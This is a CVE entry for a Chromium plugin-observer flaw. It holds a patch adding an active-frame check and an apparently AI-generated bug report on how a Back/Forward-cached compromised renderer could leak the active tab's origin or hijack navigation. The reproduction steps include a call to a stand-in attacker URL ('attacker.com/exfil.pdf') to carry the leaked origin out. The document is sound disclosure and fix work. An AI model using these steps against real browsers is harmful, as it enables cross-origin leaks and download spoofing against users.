CVE-2026-11693
Overview
Files Changed
chrome/browser/plugins/plugin_observer_common.cc
Patch
From df413509d2db232a4ac4013f57d33c950099d8fd Mon Sep 17 00:00:00 2001 From: Lei Zhang <[email protected]> Date: Mon, 01 Jun 2026 11:33:05 -0700 Subject: [PATCH] Plugins: Check if RenderFrameHost is active in CanOpenPdfUrl() When the PDF Viewer is disabled or unavailable, and there are no other PDF mime handlers, there exists a fallback plugin placeholder to allow users to download PDFs embedded on webpages. In the PluginObserver code that works with this placeholder, make sure it is interacting with an active RenderFrameHost. Bug: 517644287 Change-Id: Ia28eb6996fdc83e02914285f365a2c0215f79ba2 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7886288 Reviewed-by: Andy Phan <[email protected]> Commit-Queue: Lei Zhang <[email protected]> Cr-Commit-Position: refs/heads/main@{#1639549} --- diff --git a/chrome/browser/plugins/plugin_observer_common.cc b/chrome/browser/plugins/plugin_observer_common.cc index e5fbb41..37973b7 100644 --- a/chrome/browser/plugins/plugin_observer_common.cc +++ b/chrome/browser/plugins/plugin_observer_common.cc @@ -13,6 +13,10 @@ const GURL& url, const GURL& last_committed_url, content::Referrer* referrer) { + if (!render_frame_host->IsActive()) { + return false; + } + if (!content::ChildProcessSecurityPolicy::GetInstance()->CanRequestURL( render_frame_host->GetProcess()->GetDeprecatedID(), url)) { return false;
Original Bug Report
BFCache security bypass in PluginObserver allowing origin leak and navigation hijacking
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: PluginObserver and PluginObserverAndroid lack active lifecycle checks on the calling RenderFrameHost in OpenPDF. Consequently, a compromised renderer in the Back/Forward Cache or pending-deletion state can potentially invoke this Mojo interface to leak the primary page’s origin or hijack the active tab’s navigation. This bypasses typical frame isolation and Back/Forward Cache security boundaries.
Affected files:
chrome/browser/plugins/plugin_observer.ccchrome/browser/plugins/plugin_observer_android.cc
Estimated timestamp from git blame: 2020-11-06
Description
PluginObserver (on Desktop) and PluginObserverAndroid (on Android) bind the chrome::mojom::PluginHost interface per-RenderFrameHost (RFH) using a RenderFrameHostReceiverSet. This receiver set only removes receivers on RenderFrameDeleted. As a result, receivers remain registered and bound when an RFH enters the Back/Forward Cache (BFCache) or is in a pending-deletion state.
When a Mojo request is received, both PluginObserver::OpenPDF and PluginObserverAndroid::OpenPDF retrieve the calling RFH context via plugin_host_receivers_.GetCurrentTargetFrame(). However, neither implementation verifies whether the retrieved RenderFrameHost is active (e.g., via render_frame_host->IsActive()).
Because the handler retrieves the referrer using web_contents()->GetLastCommittedURL(), it obtains the URL of the primary, active page (which the user navigated to) rather than the URL of the calling, inactive BFCached frame. This leads to several potential security issues.
Potential Impact
-
Cross-Origin Information Disclosure (Site Isolation Bypass): A compromised renderer that is BFCached or pending deletion can call
OpenPDFwith an attacker-controlled URL. The browser constructs a Referrer fromweb_contents()->GetLastCommittedURL(), which points to the newly navigated active page (e.g.,https://victim.com). Since the default referrer policy appliesstrict-origin-when-cross-origin, the browser initiates a download request containing the Referrer header:Referer: https://victim.com/, leaking the origin of the active tab to the attacker. -
Download UI Spoofing: The browser triggers a download via
DownloadManager::DownloadUrlon behalf of the inactive, cross-origin RFH. The download bubble/shelf is displayed on the active tab, potentially allowing a phishing or spoofing attack (e.g., prompting a fake download while the user is viewing their banking site). -
Android Top-Level Navigation/Redirection: On Android,
PluginObserverAndroid::OpenPDFresolves the request by callingGetWebContents().OpenURLwithWindowOpenDisposition::CURRENT_TAB. A BFCached compromised renderer can leverage this to force a top-level tab navigation to an attacker-controlled site, bypassing standardIsInactiveAndDisallowActivationnavigation gates.
Suggested/Potential Reproduction Steps
(Note: These are potential steps, as our automated tooling does not have the ability to run code or compile proof-of-concepts.)
- Compromise the renderer process hosting
https://attacker.com. - From the compromised renderer, bind the channel-associated
chrome.mojom.PluginHostinterface and hold the remote. - Induce the user to navigate the tab cross-site to a victim site (e.g.,
https://victim.com/). The attacker’s frame is placed into the Back/Forward Cache, and its Mojo receiver remains active. - From the compromised renderer, call
plugin_host->OpenPDF(GURL("https://attacker.com/exfil.pdf")). - On Desktop, the browser initiates a download request to
https://attacker.com/exfil.pdfwith the headerReferer: https://victim.com/, disclosing the victim origin, and pops up the download UI over the active victim page. - On Android, the browser navigates the active tab to
https://attacker.com/exfil.pdfwith theRefererset to the victim’s origin.
Recommended Fix
Add an active frame check at the start of both PluginObserver::OpenPDF and PluginObserverAndroid::OpenPDF using IsActive() or IsInactiveAndDisallowReactivation(). For example:
void PluginObserver::OpenPDF(const GURL& url) {
content::RenderFrameHost* render_frame_host =
plugin_host_receivers_.GetCurrentTargetFrame();
if (!render_frame_host->IsActive()) {
return;
}
...
Evaluated with Chrome root at commit: 5133b93d189b383c37805b1cf3a9d2dbfe8d7379
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.